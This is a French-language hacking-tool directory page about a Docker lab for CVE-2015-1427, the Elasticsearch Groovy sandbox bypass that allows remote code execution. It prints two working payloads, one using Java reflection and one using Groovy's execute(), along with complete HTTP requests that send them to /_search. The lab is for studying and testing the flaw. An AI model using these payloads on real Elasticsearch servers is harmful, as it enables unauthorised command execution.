Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Environnement de laboratoire basé sur Docker pour le contournement du sandbox ElasticSearch Groovy de CVE-2015-1427 et l'exécution de code à distance, démontrant deux méthodes POC avec la réflexion Java et l'exécution de commandes Groovy. | Kitploit
Outils/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et Éducation
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Environnement de laboratoire basé sur Docker pour le contournement du sandbox ElasticSearch Groovy de CVE-2015-1427 et l'exécution de code à distance, démontrant deux méthodes POC avec la réflexion Java et l'exécution de commandes Groovy.

Voir le dépôt
5il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Test d'environnement pour le contournement du bac à sable Groovy d'ElasticSearch et la vulnérabilité d'exécution de code (CVE-2015-1427)

Version JRE : openjdk:8-jre

Version Elasticsearch : v1.4.2

Principe

Articles de référence :

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

Après CVE-2014-3120, le langage de script dynamique par défaut d'ElasticSearch a été remplacé par Groovy, et un bac à sable a été ajouté, mais le support pour l'exécution directe de langages dynamiques reste activé par défaut. Cette vulnérabilité : 1. est un contournement du bac à sable ; 2. est une vulnérabilité d'exécution de code Groovy.

Le « bac à sable » du langage Groovy

ElasticSearch prend en charge l'utilisation du langage Groovy « dans le bac à sable » comme script dynamique, mais il est clair que le travail officiel n'a pas été bien fait. lupin et tang3 ont proposé deux méthodes pour exécuter des commandes :

  1. Comme il y a un bac à sable pour l'exécution de code Java, la méthode de lupin consiste à essayer de contourner le bac à sable, par exemple en utilisant la réflexion Java.
  2. Groovy étant lui-même un langage, tang3 a emprunté une autre voie, en utilisant les méthodes prises en charge par le langage Groovy pour exécuter directement des commandes, sans avoir besoin d'utiliser le langage Java.

Ainsi, selon ces deux idées d'exécution de la vulnérabilité, nous pouvons obtenir deux POC différents.

Méthode de contournement du bac à sable Java :

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Méthode d'exécution directe de commandes Groovy :

root@kitploit:~
def command='id';def res=command.execute().text;res

Test de la vulnérabilité

Compilation et exécution de l'environnement de test

root@kitploit:~
docker-compose build
docker-compose up -d

Comme une requête nécessite au moins une donnée dans ES, envoyez le paquet de données suivant pour ajouter une donnée :

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

Envoyez ensuite un paquet contenant la payload pour exécuter une commande arbitraire :

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Télécharger l’outil